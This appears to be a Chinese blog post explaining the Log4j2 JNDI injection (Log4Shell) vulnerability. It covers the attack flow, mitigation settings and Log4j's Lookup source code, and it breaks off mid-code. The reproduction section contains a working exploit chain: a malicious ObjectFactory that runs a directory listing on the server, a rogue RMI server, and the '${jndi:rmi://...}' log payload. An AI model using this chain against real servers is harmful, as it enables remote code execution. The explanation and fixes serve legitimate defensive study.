远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器的CPU不得美滋滋了。
前段时间,Java 界的知名日志框架 Log4j2 发现了远程代码执行漏洞,漏洞风暴席卷各大公司,编程届异常火热(加班),我们是万万没想到那么牛逼的日志框架有BUG。
这次安全漏洞也有个小插曲,我司的员工发现了漏洞,上报了Apache没告知GXB,我司也受到了处罚,希望下次引以为戒,不过这事程序员不背锅,管理下次要反思下。
漏洞描述
本次 Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:
当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
- 首先开启HTTP服务器,并将我们的恶意类放在目录下
- 开启恶意RMI服务器
- 攻击者输入的参数为上一步开启的恶意RMI服务器地址
- 恶意RMI服务器返回ReferenceWrapper类
- 目标服务器在执行lookup操作的时候,将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),进而执行恶意代码
漏洞复现
JNDI
JNDI 是Java 命名和目录接口(Java Naming and Directory Interface,JNDI)的简称,从一开始就一直是 Java 2平台企业版的核心技术之一。
在JMS,JMail,JDBC,EJB等技术中,就大量应用的这种技术。
JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
JNDI 诞生的理由很简单:随着分布式应用的发展,远程访问对象访问成为常用的方法。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的。
RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点。JNDI技术就应运而生。JNDI技术产生后,就可方便的查找远程或是本地对象。
如下展示了JNDI的架构图。
编写攻击代码
为完成Bug的复现,我们需要简单的搭建一个RMI服务。
首先编写我们的攻击代码。此处攻击代码遍历指定目录下的文件,并将其输出到指定目录中。
攻击者可以获取无法服务器的任意目录结构,恐怖如斯~
public class BadCode implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable,> environment) throws Exception {
System.out.println("开始执行攻击");
String data = "HH,我来了";// 嚣张点
File file =new File("./badcode.txt");
//if file does not exists, then create it
if(!file.exists()){
file.createNewFile();
}
FileWriter fileWritter = new FileWriter(file.getName(),true);
fileWritter.write(data);
// 遍历服务器指定目录
List command = new ArrayList();
command.add("tree");
command.add("**");//指定一个目录
String outstring = null;
Process p = null;
try {
ProcessBuilder builder = new ProcessBuilder();
builder.command(command);
/**
* 将标准输入流和错误输入流合并,通过标准输入流程读取信息
*/
builder.redirectErrorStream(true);
p = builder.start();
outstring = waitFor(p);
fileWritter.write(outstring);
} catch (Exception ex) {
ex.printStackTrace();
}finally {
fileWritter.close();
p.destroy();
}
return obj;
}
public static String waitFor(Process p) {
InputStream in = null;
int exitValue = -1;
StringBuffer outputString = new StringBuffer();
try {
in = p.getInputStream();
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8"));
boolean finished = false;
int maxRetry = 600;//每次休眠1秒,最长执行时间10分种
int retry = 0;
while (!finished) {
if (retry > maxRetry) {
return "error";
}
try {
String line="";
while ((line=bufferedReader.readLine())!=null) {
outputString.append(line+"\n");
}
//进程未结束时调用exitValue将抛出异常
exitValue = p.exitValue();
finished = true;
} catch (IllegalThreadStateException e) {
Thread.sleep(1000);//休眠1秒
retry++;
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}
return outputString.toString();
}
}
编写RMI服务并启动。
public class StartRMIserver {
public static void main(String[] args) throws Exception {
//服务端口1099
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("BadCode", "BadCode", "http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("bad", wrapper);
System.out.println("RegistryServer is running");
}
}
打印如下日志复现Bug。
public class BugShow {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
//改动一些系统默认配置,让系统可以被攻击
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//打印攻击日志
LOGGER.info("start attack:{}", "${jndi:rmi://127.0.0.1:1099/bad}");
}
}
如果一切顺利,你会发现服务器中生成了一个名为badcode.txt的文件,里面存储着指定目录下的所有文件目录。
修复方案
所幸,各大安全团队迅速给出了如下解决方案(本质都一样),似乎是不使用LookUp就解决了。(终极方案是将log4j-core升级为2.16.0)
- 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
- 在类路径下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true
- 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
但是,乖,你不好奇吗?为什么不使用 LookUp 机制就修复了呢?
LookUps 机制
LookUps提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁祸首)等实现。
如下展示了Date LookUp和Java lookUp的使用。
public class App {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) throws Exception {
LOGGER.info("java.os:{}","${java:os}");
LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}");
}
}
Java Lookup
JavaLookup 使用以 java: 为前缀的的预格式化字符串检索 Java 环境信息。
键 | 描述 |
version | 获取Java版本,比如Java version 1.8.0_312 |
runtime | 获取Java运行时版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems, Inc. |
vm | 获取虚拟机信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode) |
os | 获取系统信息,比如Mac OS X 11.3.1 unknown, architecture: aarch64-64 |
locale | 获取编码信息,比如default locale: zh_CN, platform encoding: UTF-8 |
hw | 获取硬件信息,比如processors: 8, architecture: aarch64-64 |
Jndi Lookup
这也是此次漏洞的罪魁祸首!JndiLookup 允许通过 JNDI 检索变量。
默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含":"则不会添加前缀。
默认情况下,JDNI Lookup 仅支持 java、ldap 和 ldaps 协议或不支持协议,可以通过在
log4j2.allowedJndiProtocols 属性上指定它们来支持其他协议。
当使用 LDAP 时,出于安全原因,不支持实现 Referenceable 接口的 Java 类,默认情况下仅支持 Java 的基础类型以及 log4j2.allowedLdapClasses属性指定的任何类。
使用 LDAP 时,仅支持对本地主机名或 IP 地址的引用以及 log4j2.allowedLdapHosts 属性中列出的任何主机或 IP 地址。
Java LookUp源码
通过 LookUp 机制,Log4j框架解析了${}中的内容,跟踪源码可以发现如下调用链,并且可以发现日志中${}内容的替换是在
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。
观察源码不难发现我们感兴趣的东西——noLookups和对${的查找。
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '